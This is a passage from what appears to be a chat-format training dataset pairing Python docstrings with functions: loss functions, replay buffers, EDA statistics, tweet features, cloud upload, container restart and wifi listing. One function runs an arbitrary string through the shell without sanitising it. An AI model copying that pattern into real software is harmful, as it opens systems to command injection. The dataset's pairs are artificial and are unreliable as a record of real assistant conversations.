"conversation_id": 179, "message_id": 1 }, { "role": "assistant", "content": "def project_X_onto_w(X, v_w):\n w_length = np.linalg.norm(v_w)\n assert(w_length > 0)\n return np.divide((X @ v_w), w_length)", "conversation_id": 179, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 180, "message_id": 0 }, { "role": "user", "content": "Signals to the transport that it should stop..", "conversation_id": 180, "message_id": 1 }, { "role": "assistant", "content": "async def stop(self):\n raise NotImplementedError", "conversation_id": 180, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 181, "message_id": 0 }, { "role": "user", "content": "Pushes a message to a channel..", "conversation_id": 181, "message_id": 1 }, { "role": "assistant", "content": "async def push(self, event, payload):\n msg = await self.socket._send_message(self.topic, event, payload)\n return msg", "conversation_id": 181, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 182, "message_id": 0 }, { "role": "user", "content": "Classification loss (NLL)\ntargets dicts must contain the key \"labels\" containing a tensor of dim [nb_target_boxes].", "conversation_id": 182, "message_id": 1 }, { "role": "assistant", "content": "def loss_labels(self, outputs, targets, indices, num_planes, log=True):\n assert 'pred_logits' in outputs\n src_logits = outputs['pred_logits']\n idx = self._get_src_permutation_idx(indices)\n target_classes_o = torch.cat([tgt[:, 0][J].long() for tgt, (_, J) in zip (targets, indices)])\n target_classes = torch.full(src_logits.shape[:2], self.num_classes, dtype=torch.int64, device=src_logits.device)\n target_classes[idx] = target_classes_o\n loss_ce = F.cross_entropy(src_logits.transpose(1, 2), target_classes, self.empty_weight.cuda())\n losses = {'loss_ce': loss_ce}\n if log:\n losses['class_error'] = 100 - accuracy(src_logits[idx], target_classes_o)[0]\n return losses", "conversation_id": 182, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 183, "message_id": 0 }, { "role": "user", "content": "Compute the cardinality error, ie the absolute error in the number of predicted non-empty boxes\nThis is not really a loss, it is intended for logging purposes only. It doesn't propagate gradients.", "conversation_id": 183, "message_id": 1 }, { "role": "assistant", "content": "def loss_cardinality(self, outputs, targets, indices, num_planes):\n pred_logits = outputs['pred_logits']\n device = pred_logits.device\n tgt_lengths = torch.as_tensor([tgt.shape[0] for tgt in targets], device=device)\n card_pred = (pred_logits.argmax(-1) != pred_logits.shape[-1] - 1).sum(1)\n card_err = F.l1_loss(card_pred.float(), tgt_lengths.float())\n losses = {'cardinality_error': card_err}\n return losses", "conversation_id": 183, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 184, "message_id": 0 }, { "role": "user", "content": "Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss\ntargets dicts must contain the key \"boxes\" containing a tensor of dim [nb_target_boxes, 4]\nThe target boxes are expected in format (center_x, center_y, h, w), normalized by the image size..", "conversation_id": 184, "message_id": 1 }, { "role": "assistant", "content": "def loss_param(self, outputs, targets, indices, num_planes, log=True):\n assert 'pred_param' in outputs\n idx = self._get_src_permutation_idx(indices)\n src_param = outputs['pred_param'][idx] \n target_param = torch.cat([tgt[:, 1:4][i] for tgt, (_, i) in zip(targets, indices)], dim=0)\n loss_param_l1 = torch.mean(torch.sum(torch.abs(target_param - src_param), dim=1))\n similarity = torch.nn.functional.cosine_similarity(src_param, target_param, dim=1) \n loss_param_cos = torch.mean(1-similarity)\n angle = torch.mean(torch.acos(torch.clamp(similarity, -1, 1)))\n losses = {}\n losses['loss_param_l1'] = loss_param_l1\n losses['loss_param_cos'] = loss_param_cos\n if log:\n losses['mean_angle'] = angle * 180.0 / np.pi\n return losses", "conversation_id": 184, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 185, "message_id": 0 }, { "role": "user", "content": "Compute the losses related to the bounding boxes, the L1 regression loss and the GIoU loss\ntargets dicts must contain the key \"boxes\" containing a tensor of dim [nb_target_boxes, 4]\nThe target boxes are expected in format (center_x, center_y, h, w), normalized by the image size..", "conversation_id": 185, "message_id": 1 }, { "role": "assistant", "content": "def loss_center(self, outputs, targets, indices, num_planes, log=True):\n assert 'pred_center' in outputs\n idx = self._get_src_permutation_idx(indices)\n src_center = outputs['pred_center'][idx] \n target_center = torch.cat([tgt[:, 4:6][i] for tgt, (_, i) in zip(targets, indices)], dim=0)\n delta_xy = torch.abs(target_center - src_center) \n dist = torch.norm(delta_xy, dim=-1) \n loss_center_l2 = torch.mean(dist)\n losses = {}\n losses['loss_center_instance'] = loss_center_l2\n if 'gt_plane_pixel_centers' in outputs.keys():\n gt_plane_pixel_centers = outputs['gt_plane_pixel_centers']\n pixel_center = outputs['pixel_center'] \n valid_region = outputs['valid_region'] \n mask = valid_region > 0\n pixel_dist = torch.norm(torch.abs(gt_plane_pixel_centers - pixel_center), dim=1, keepdim=True) \n loss_pixel_center = torch.mean(pixel_dist[mask])\n losses['loss_center_pixel'] = loss_pixel_center\n return losses", "conversation_id": 185, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 186, "message_id": 0 }, { "role": "user", "content": "This performs the loss computation..", "conversation_id": 186, "message_id": 1 }, { "role": "assistant", "content": "def forward(self, outputs, targets):\n outputs_without_aux = {k: v for k, v in outputs.items() if k != 'aux_outputs'}\n indices = self.matcher(outputs_without_aux, targets)\n num_planes = sum(tgt.shape[0] for tgt in targets)\n num_planes = torch.as_tensor([num_planes], dtype=torch.float, device=next(iter(outputs.values())).device)\n if is_dist_avail_and_initialized():\n torch.distributed.all_reduce(num_planes)\n num_planes = torch.clamp(num_planes / get_world_size(), min=1).item()\n losses = {}\n for loss in self.losses:\n losses.update(self.get_loss(loss, outputs, targets, indices, num_planes))\n losses_aux = []\n if 'aux_outputs' in outputs.keys():\n for i, aux_outputs in enumerate(outputs['aux_outputs']):\n losses_aux_i = {}\n for loss in self.losses:\n kwargs = {}\n if 'param' in loss or 'Q' in loss or 'depth' in loss: \n continue\n kwargs = {'log': False}\n l_dict = self.get_loss(loss, aux_outputs, targets, indices, num_planes, **kwargs)\n losses_aux_i.update(l_dict)\n losses_aux.append(losses_aux_i)\n return losses, indices, losses_aux", "conversation_id": 186, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 187, "message_id": 0 }, { "role": "user", "content": "Randomly sample a batch of experiences from memory..", "conversation_id": 187, "message_id": 1 }, { "role": "assistant", "content": "def sample(self, device):\n experiences = random.sample(self.memory, k=self.batch_size)\n states = torch.from_numpy(np.vstack([e.state for e in experiences if e is not None])).float().to(device)\n actions = torch.from_numpy(np.vstack([e.action for e in experiences if e is not None])).long().to(device)\n rewards = torch.from_numpy(np.vstack([e.reward for e in experiences if e is not None])).float().to(device)\n next_states = torch.from_numpy(np.vstack([e.next_state for e in experiences if e is not None])).float().to(device)\n dones = torch.from_numpy(np.vstack([e.done for e in experiences if e is not None]).astype(np.uint8)).float().to(device)\n return (states, actions, rewards, next_states, dones)", "conversation_id": 187, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 188, "message_id": 0 }, { "role": "user", "content": "Add a new experience to memory..", "conversation_id": 188, "message_id": 1 }, { "role": "assistant", "content": "def add(self, state, action, reward, next_state, done):\n self.length = min(self.length+1, self.buffer_size)\n max_p = self.get_max_p();\n self.tree.add(max_p, (state, action, reward, next_state, done))", "conversation_id": 188, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 189, "message_id": 0 }, { "role": "user", "content": "Convenience property to retrieve the value tuple as a tuple of\ndatetime objects..", "conversation_id": 189, "message_id": 1 }, { "role": "assistant", "content": "def value_as_datetime(self):\n if self.value is None:\n return None\n v1, v2 = self.value\n if isinstance(v1, numbers.Number):\n d1 = datetime.utcfromtimestamp(v1 / 1000)\n else:\n d1 = v1\n if isinstance(v2, numbers.Number):\n d2 = datetime.utcfromtimestamp(v2 / 1000)\n else:\n d2 = v2\n return d1, d2", "conversation_id": 189, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 190, "message_id": 0 }, { "role": "user", "content": "Convenience property to retrieve the value tuple as a tuple of\ndate objects..", "conversation_id": 190, "message_id": 1 }, { "role": "assistant", "content": "def value_as_date(self):\n if self.value is None:\n return None\n v1, v2 = self.value\n if isinstance(v1, numbers.Number):\n dt = datetime.utcfromtimestamp(v1 / 1000)\n d1 = date(*dt.timetuple()[:3])\n else:\n d1 = v1\n if isinstance(v2, numbers.Number):\n dt = datetime.utcfromtimestamp(v2 / 1000)\n d2 = date(*dt.timetuple()[:3])\n else:\n d2 = v2\n return d1, d2", "conversation_id": 190, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 191, "message_id": 0 }, { "role": "user", "content": "Compute functions for plot(df, x)\nParameters\n\ndf\nDataFrame from which visualizations are generated\nx\nA column name from the DataFrame\ncfg\nConfig instance\ndtype: str or DType or dict of str or dict of DType, default None\nSpecify Data Types for designated column or all columns..", "conversation_id": 191, "message_id": 1 }, { "role": "assistant", "content": "def compute_univariate(\n df: Union[dd.DataFrame, pd.DataFrame],\n col: Union[str, LatLong],\n cfg: Config,\n dtype: Optional[DTypeDef],\n) -> Intermediate:\n new_col_names, ndf = gen_new_df_with_used_cols(df, col, None, None)\n x = new_col_names[col]\n if x is None:\n raise ValueError\n frame = EDAFrame(ndf, dtype)\n col_dtype = frame.get_eda_dtype(x)\n if isinstance(col_dtype, (Nominal, GeoPoint, SmallCardNum)):\n srs = frame.get_col_as_str(x)\n (data,) = dask.compute(nom_comps(srs, cfg))\n return Intermediate(col=x, data=data, visual_type=\"categorical_column\")\n elif isinstance(col_dtype, Continuous):\n (data,) = dask.compute(cont_comps(frame.frame[x], cfg))\n return Intermediate(col=x, data=data, visual_type=\"numerical_column\")\n elif isinstance(col_dtype, DateTime):\n data_dt: List[Any] = []\n data_dt.append(dask.delayed(calc_stats_dt)(frame.frame[x]))\n if cfg.line.enable:\n data_dt.append(dask.delayed(_calc_line_dt)(frame.frame[[x]], cfg.line.unit))\n data, line = dask.compute(*data_dt)\n else:\n data = dask.compute(*data_dt)[0]\n line = []\n return Intermediate(\n col=x,\n data=data,\n line=line,\n visual_type=\"datetime_column\",\n )\n elif isinstance(col_dtype, GeoGraphy):\n (data,) = dask.compute(nom_comps(frame.frame[x], cfg))\n return Intermediate(col=x, data=data, visual_type=\"geography_column\")\n else:\n raise ValueError(f\"unprocessed type. col:{x}, type:{col_dtype}\")", "conversation_id": 191, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 192, "message_id": 0 }, { "role": "user", "content": "All computations required for plot(df, Nominal). Assume srs is string column..", "conversation_id": 192, "message_id": 1 }, { "role": "assistant", "content": "def nom_comps(srs: dd.Series, cfg: Config) -> Dict[str, Any]:\n data: Dict[str, Any] = dict()\n data[\"nrows\"] = srs.shape[0] \n srs = srs.dropna() \n grps = srs.value_counts(sort=False) \n data[\"geo\"] = grps\n data[\"nuniq\"] = grps.shape[0] \n if cfg.bar.enable or cfg.pie.enable or cfg.value_table.enable:\n data[\"bar\"] = (\n grps.nlargest(cfg.bar.bars) if cfg.bar.sort_descending else grps.nsmallest(cfg.bar.bars)\n )\n if cfg.bar.bars == cfg.pie.slices and cfg.bar.sort_descending == cfg.pie.sort_descending:\n data[\"pie\"] = data[\"bar\"]\n else:\n data[\"pie\"] = (\n grps.nlargest(cfg.pie.slices)\n if cfg.pie.sort_descending\n else grps.nsmallest(cfg.pie.slices)\n )\n if cfg.bar.bars == cfg.value_table.ngroups and cfg.bar.sort_descending:\n data[\"value_table\"] = data[\"bar\"]\n elif cfg.pie.slices == cfg.value_table.ngroups and cfg.pie.sort_descending:\n data[\"value_table\"] = data[\"pie\"]\n else:\n data[\"value_table\"] = grps.nlargest(cfg.value_table.ngroups)\n if cfg.insight.enable:\n data[\"chisq\"] = chisquare(grps.values)\n df = grps.reset_index() \n if cfg.stats.enable or cfg.value_table.enable:\n data.update(_calc_nom_stats(srs, df, data[\"nrows\"], data[\"nuniq\"]))\n elif cfg.wordfreq.enable and cfg.insight.enable:\n data[\"len_stats\"] = {\"Minimum\": srs.str.len().min(), \"Maximum\": srs.str.len().max()}\n if cfg.wordlen.enable:\n lens = srs.str.len()\n data[\"len_hist\"] = da.histogram(lens, cfg.wordlen.bins, (lens.min(), lens.max()))\n if cfg.wordcloud.enable or cfg.wordfreq.enable:\n if all(\n getattr(cfg.wordcloud, att) == getattr(cfg.wordfreq, att)\n for att in (\"top_words\", \"stopword\", \"stem\", \"lemmatize\")\n ):\n word_freqs = _calc_word_freq(\n df,\n cfg.wordfreq.top_words,\n cfg.wordfreq.stopword,\n cfg.wordfreq.lemmatize,\n cfg.wordfreq.stem,\n )\n data[\"word_cnts_cloud\"] = word_freqs[\"word_cnts\"]\n data[\"nuniq_words_cloud\"] = word_freqs[\"nuniq_words\"]\n else:\n word_freqs = _calc_word_freq(\n df.copy(),\n cfg.wordfreq.top_words,\n cfg.wordfreq.stopword,\n cfg.wordfreq.lemmatize,\n cfg.wordfreq.stem,\n )\n word_freqs_cloud = _calc_word_freq(\n df,\n cfg.wordcloud.top_words,\n cfg.wordcloud.stopword,\n cfg.wordcloud.lemmatize,\n cfg.wordcloud.stem,\n )\n data[\"word_cnts_cloud\"] = word_freqs_cloud[\"word_cnts\"]\n data[\"nuniq_words_cloud\"] = word_freqs[\"nuniq_words\"]\n data[\"word_cnts_freq\"] = word_freqs[\"word_cnts\"]\n data[\"nwords_freq\"] = word_freqs[\"nwords\"]\n return data", "conversation_id": 192, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 193, "message_id": 0 }, { "role": "user", "content": "All computations required for plot(df, Continuous).", "conversation_id": 193, "message_id": 1 }, { "role": "assistant", "content": "def cont_comps(srs: dd.Series, cfg: Config) -> Dict[str, Any]:\n data: Dict[str, Any] = {}\n data[\"nrows\"] = srs.shape[0] \n srs = srs.dropna()\n data[\"npres\"] = srs.shape[0] \n srs = srs[~srs.isin({np.inf, -np.inf})] \n if cfg.hist.enable or cfg.qqnorm.enable and cfg.insight.enable:\n data[\"hist\"] = da.histogram(srs, cfg.hist.bins, (srs.min(), srs.max()))\n if cfg.insight.enable:\n data[\"norm\"] = normaltest(data[\"hist\"][0])\n if cfg.hist.enable and cfg.insight.enable:\n data[\"chisq\"] = chisquare(data[\"hist\"][0])\n if cfg.qqnorm.enable:\n data[\"qntls\"] = srs.quantile(np.linspace(0.01, 0.99, 99))\n elif cfg.stats.enable:\n data[\"qntls\"] = srs.quantile([0.05, 0.25, 0.5, 0.75, 0.95])\n elif cfg.box.enable:\n data[\"qntls\"] = srs.quantile([0.25, 0.5, 0.75])\n if cfg.stats.enable or cfg.hist.enable and cfg.insight.enable:\n data[\"skew\"] = skew(srs)\n if cfg.stats.enable or cfg.qqnorm.enable:\n data[\"mean\"] = srs.mean()\n data[\"std\"] = srs.std()\n if cfg.stats.enable:\n data[\"min\"] = srs.min()\n data[\"max\"] = srs.max()\n data[\"nreals\"] = srs.shape[0]\n data[\"nzero\"] = (srs == 0).sum()\n data[\"nneg\"] = (srs < 0).sum()\n data[\"kurt\"] = kurtosis(srs)\n data[\"mem_use\"] = srs.memory_usage(deep=True)\n if cfg.kde.enable:\n if not math.isclose(dask.compute(data[\"min\"])[0], dask.compute(data[\"max\"])[0]):\n data[\"dens\"] = da.histogram(srs, cfg.kde.bins, (srs.min(), srs.max()), density=True)\n data[\"kde\"] = gaussian_kde(\n srs.map_partitions(lambda x: x.sample(min(1000, x.shape[0])), meta=srs)\n )\n else:\n data[\"kde\"] = None\n if cfg.box.enable:\n data.update(_calc_box(srs, data[\"qntls\"], cfg))\n if cfg.value_table.enable:\n value_counts = srs.value_counts(sort=False)\n data[\"nuniq\"] = value_counts.shape[0]\n data[\"value_table\"] = value_counts.nlargest(cfg.value_table.ngroups)\n elif cfg.stats.enable:\n data[\"nuniq\"] = srs.nunique_approx()\n return data", "conversation_id": 193, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 194, "message_id": 0 }, { "role": "user", "content": "Parse a categorical column of text data into words, then compute\nthe frequency distribution of words and the total number of words..", "conversation_id": 194, "message_id": 1 }, { "role": "assistant", "content": "def _calc_word_freq(\n df: dd.DataFrame,\n top_words: int,\n stopword: bool,\n lemmatize: bool,\n stem: bool,\n) -> Dict[str, Any]:\n col = df.columns[0]\n regex = fr\"\\b(?:{'|'.join(ess)})\\b|[^\\w+ ]\" if stopword else r\"[^\\w+ ]\"\n df[col] = df[col].str.replace(regex, \"\").str.lower().str.split()\n df = df.explode(col)\n if lemmatize or stem:\n df[col] = df[col].dropna()\n if lemmatize:\n df[col] = df[col].apply(WordNetLemmatizer().lemmatize, meta=object)\n if stem:\n df[col] = df[col].apply(PorterStemmer().stem, meta=object)\n word_cnts = df.groupby(col)[df.columns[1]].sum() \n nwords = word_cnts.sum() \n nuniq_words = word_cnts.shape[0] \n fnl_word_cnts = word_cnts.nlargest(top_words) \n return {\"word_cnts\": fnl_word_cnts, \"nwords\": nwords, \"nuniq_words\": nuniq_words}", "conversation_id": 194, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 195, "message_id": 0 }, { "role": "user", "content": "Calculate statistics for a nominal column.", "conversation_id": 195, "message_id": 1 }, { "role": "assistant", "content": "def _calc_nom_stats(\n srs: dd.Series,\n df: dd.DataFrame,\n nrows: int,\n nuniq: dd.core.Scalar,\n) -> Dict[str, Any]:\n stats = {\n \"nrows\": nrows,\n \"npres\": srs.shape[0],\n \"nuniq\": nuniq,\n \"mem_use\": srs.memory_usage(deep=True),\n \"first_rows\": srs.reset_index(drop=True).loc[:4],\n }\n leng = {\n \"Mean\": srs.str.len().mean(),\n \"Standard Deviation\": srs.str.len().std(),\n \"Median\": srs.str.len().quantile(0.5),\n \"Minimum\": srs.str.len().min(),\n \"Maximum\": srs.str.len().max(),\n }\n grp, col = df.columns\n lc_cnt = (df[grp].str.count(r\"[a-z]\") * df[col]).sum()\n uc_cnt = (df[grp].str.count(r\"[A-Z]\") * df[col]).sum()\n letter = {\n \"Count\": lc_cnt + uc_cnt,\n \"Lowercase Letter\": lc_cnt,\n \"Space Separator\": (df[grp].str.count(r\"[ ]\") * df[col]).sum(),\n \"Uppercase Letter\": uc_cnt,\n \"Dash Punctuation\": (df[grp].str.count(r\"[-]\") * df[col]).sum(),\n \"Decimal Number\": (df[grp].str.count(r\"[0-9]\") * df[col]).sum(),\n }\n return {\"stats\": stats, \"len_stats\": leng, \"letter_stats\": letter}", "conversation_id": 195, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 196, "message_id": 0 }, { "role": "user", "content": "Calculate stats from a datetime column.", "conversation_id": 196, "message_id": 1 }, { "role": "assistant", "content": "def calc_stats_dt(srs: dd.Series) -> Dict[str, str]:\n size = srs.shape[0] \n count = srs.count() \n try:\n uniq_count = srs.nunique_approx()\n except: \n uniq_count = srs.nunique()\n overview_dict = {\n \"Distinct Count\": uniq_count,\n \"Approximate Unique (%)\": uniq_count / count,\n \"Missing\": size - count,\n \"Missing (%)\": 1 - (count / size),\n \"Memory Size\": srs.memory_usage(deep=True),\n \"Minimum\": srs.min(),\n \"Maximum\": srs.max(),\n }\n return overview_dict", "conversation_id": 196, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 197, "message_id": 0 }, { "role": "user", "content": "This function apply clean functions on input dataset..", "conversation_id": 197, "message_id": 1 }, { "role": "assistant", "content": "def clean_data() -> Any:\n info = request.get_json()\n clean_func = info[\"clean_func\"]\n col = info[\"col\"]\n global index_df\n df_cleaned = clean_function_dic[clean_func](index_df, column=col, inplace=True)\n df_cleaned = df_cleaned.astype(str)\n col_names = df_cleaned.columns.values.tolist()\n table_columns = []\n for col_name in col_names:\n temp_dic = {}\n temp_dic[\"colName\"] = col_name\n temp_dic[\"colLabel\"] = col_name\n temp_dic[\"colWidth\"] = 180\n table_columns.append(temp_dic)\n transposed_json = df_cleaned.T.to_dict()\n table_data = []\n for key in transposed_json:\n table_data.append(transposed_json[key])\n index_df = df_cleaned\n return {\"tableData\": table_data, \"tableColumns\": table_columns}", "conversation_id": 197, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 198, "message_id": 0 }, { "role": "user", "content": "@return return a list containing all the extension of the implemented data structures.", "conversation_id": 198, "message_id": 1 }, { "role": "assistant", "content": "def extensions_generator():\n extensions = []\n for dse in impl_data_structure:\n ds_source = glob.glob(\"cy_alg/{}.pyx\".format(dse.py_name))\n ds_source += glob.glob(\"c_alg/src/{}.c\".format(dse.c_name))\n if dse.other_src:\n for src in dse.other_src:\n ds_source += glob.glob(src)\n extension = Extension(\n dse.py_name,\n sources=ds_source,\n include_dirs=inc_dirs,\n library_dirs=lib_dirs,\n libraries=libs,\n )\n extensions.append(extension)\n return extensions", "conversation_id": 198, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 199, "message_id": 0 }, { "role": "user", "content": "Takes a not-yet-processed tweet in the form of [word1, word2, ..., wordn]\nReturns a list of manual features adapted from ../resource/2872427.2883062.pdf\n\nlength of comment in tokens\naverage length of word\nnumber of periods, question marks, quotes, and exclamation marks\nnumber of one letter tokens\nnumber of capitalized letters\nnumber of non-alpha characters.", "conversation_id": 199, "message_id": 1 }, { "role": "assistant", "content": "def extract_manual_features(tweet):\n length = len(tweet)\n averageWordLength = sum([len(word) for word in tweet])//length\n oneLetter = sum([1 for word in tweet if len(word) == 1])\n tweet = \" \".join(tweet)\n punctuationCount = 0\n for each in [\".\",\"?\",\"\\\"\",\"\\'\",\"!\"]:\n punctuationCount += tweet.count(each)\n capitalized = 0\n nonAlpha = 0\n for each in tweet:\n if each.isupper():\n capitalized += 1\n if not each.isalpha() and each != \" \":\n nonAlpha += 1\n manual_features = [length, averageWordLength, oneLetter, punctuationCount, capitalized, nonAlpha]\n return manual_features", "conversation_id": 199, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 200, "message_id": 0 }, { "role": "user", "content": "Takes a file with each line being one word\nReturns a list of lowercase word.", "conversation_id": 200, "message_id": 1 }, { "role": "assistant", "content": "def process_words(words):\n wordList = []\n for word in words:\n wordList.append(word.strip().lower())\n return wordList", "conversation_id": 200, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 201, "message_id": 0 }, { "role": "user", "content": "Takes a list of processed tweets\nReturns a feature matrix\nSee detailed comments below.", "conversation_id": 201, "message_id": 1 }, { "role": "assistant", "content": "def generate_matrix(tweets, words):\n wordsLentgh = len(words)\n featureMatrix = []\n for tweet in tweets:\n featureVector = [0] * wordsLentgh\n for i in range(wordsLentgh):\n featureVector[i] = tweet[2].count(words[i])\n featureVector.extend(tweet[3])\n featureVector.append(tweet[4])\n featureMatrix.append(featureVector)\n return featureMatrix", "conversation_id": 201, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 202, "message_id": 0 }, { "role": "user", "content": "put_object\nobject storage service file upload.", "conversation_id": 202, "message_id": 1 }, { "role": "assistant", "content": "def put_object(bucketName, objectName, content):\n signer = oci.auth.signers.get_resource_principals_signer()\n client = oci.object_storage.ObjectStorageClient(config={}, signer=signer)\n namespace = client.get_namespace().data\n output=\"\"\n try:\n object = client.put_object(namespace, bucketName, objectName, content)\n output = \"Success: Put object '\" + objectName + \"' in bucket '\" + bucketName + \"'\"\n except Exception as e:\n output = \"Failed: \" + str(e.message)\n return { \"state\": output }", "conversation_id": 202, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 203, "message_id": 0 }, { "role": "user", "content": "shell_exec\ninvoke the shell to run a local command.", "conversation_id": 203, "message_id": 1 }, { "role": "assistant", "content": "def shell_exec(exec_command, exec_count):\n p_response = Popen([exec_command],\n shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, universal_newlines=True\n )\n output, errors = p_response.communicate()\n logging.info(\"Popen Output \" + str(exec_count) + \": \" + output)\n logging.info(\"Popen Errors \" + str(exec_count) + \": \" + errors)\n return", "conversation_id": 203, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 204, "message_id": 0 }, { "role": "user", "content": "Reads from socket until all messages from the list are received\nReturns the list of messages read.", "conversation_id": 204, "message_id": 1 }, { "role": "assistant", "content": "async def read_until(socket, messages):\n messages = messages.copy()\n res = []\n while messages:\n data = await socket.receive_json()\n res += [data]\n if data in messages:\n messages.remove(data)\n return res", "conversation_id": 204, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 205, "message_id": 0 }, { "role": "user", "content": "Set flow rate in uL/mm, to value obtained from command's params,\nor if unspecified in command params, then from protocol's \"default-values\"..", "conversation_id": 205, "message_id": 1 }, { "role": "assistant", "content": "def _set_flow_rate(\n pipette_model, pipette, command_type, params, default_values):\n default_aspirate = default_values.get(\n 'aspirate-flow-rate', {}).get(pipette_model)\n default_dispense = default_values.get(\n 'dispense-flow-rate', {}).get(pipette_model)\n flow_rate_param = params.get('flow-rate')\n if flow_rate_param is not None:\n if command_type == 'aspirate':\n pipette.set_flow_rate(\n aspirate=flow_rate_param,\n dispense=default_dispense)\n return\n if command_type == 'dispense':\n pipette.set_flow_rate(\n aspirate=default_aspirate,\n dispense=flow_rate_param)\n return\n pipette.set_flow_rate(\n aspirate=default_aspirate,\n dispense=default_dispense\n )", "conversation_id": 205, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 206, "message_id": 0 }, { "role": "user", "content": "This is the (somewhat) synchronous method to use to do a restart.\nIt actually starts a thread that does the restart. `__wait_and_restart`,\non the other hand, should not be called directly, because it will block\nuntil the system restarts..", "conversation_id": 206, "message_id": 1 }, { "role": "assistant", "content": "def do_restart():\n Thread(target=__wait_and_restart).start()", "conversation_id": 206, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 207, "message_id": 0 }, { "role": "user", "content": "Delay and then execute the restart. Do not call directly..", "conversation_id": 207, "message_id": 1 }, { "role": "assistant", "content": "def __wait_and_restart():\n log.info('Restarting server')\n sleep(1)\n loop = asyncio.new_event_loop()\n loop.run_until_complete(_resin_supervisor_restart())", "conversation_id": 207, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 208, "message_id": 0 }, { "role": "user", "content": "Execute a container restart by requesting it from the supervisor.\nNote that failures here are returned but most likely will not be\nsent back to the caller, since this is run in a separate workthread.\nIf the system is not responding, look for these log messages..", "conversation_id": 208, "message_id": 1 }, { "role": "assistant", "content": "async def _resin_supervisor_restart():\n supervisor = os.environ.get('RESIN_SUPERVISOR_ADDRESS',\n 'http://127.0.0.1:48484')\n restart_url = supervisor + '/v1/restart'\n api = os.environ.get('RESIN_SUPERVISOR_API_KEY', 'unknown')\n app_id = os.environ.get('RESIN_APP_ID', 'unknown')\n async with aiohttp.ClientSession() as session:\n async with session.post(restart_url,\n params={'apikey': api},\n json={'appId': app_id,\n 'force': True}) as resp:\n body = await resp.read()\n if resp.status != 202:\n log.error(\"Could not shut down: {}: {}\"\n .format(resp.status, body))", "conversation_id": 208, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 209, "message_id": 0 }, { "role": "user", "content": "Returns OK, then waits approximately 1 second and restarts container.", "conversation_id": 209, "message_id": 1 }, { "role": "assistant", "content": "async def restart(request):\n do_restart()\n return web.json_response({\"message\": \"restarting\"})", "conversation_id": 209, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 210, "message_id": 0 }, { "role": "user", "content": "List the visible (broadcasting SSID) wireless networks.\nReturns a list of the SSIDs. They may contain spaces and should be escaped\nif later passed to a shell..", "conversation_id": 210, "message_id": 1 }, { "role": "assistant", "content": "async def available_ssids():\n fields = ['ssid', 'signal', 'active']\n cmd = ['--terse',\n '--fields',\n ','.join(fields),\n 'device',\n 'wifi',\n 'list']\n out, _ = await _call(cmd)\n return _dict_from_terse_tabular(\n fields, out,\n transformers={'signal': lambda s: int(s) if s.isdigit() else None,\n 'active': lambda s: s.lower() == 'yes'})", "conversation_id": 210, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 211, "message_id": 0 }, { "role": "user", "content": "Return the list of configured connections.\nThis is all connections that nmcli knows about and manages.\nEach connection is a dict containing some basic information - the\ninformation retrievable from nmcli connection show. Further information\nshould be queried on a connection by connection basis.\n\nIf 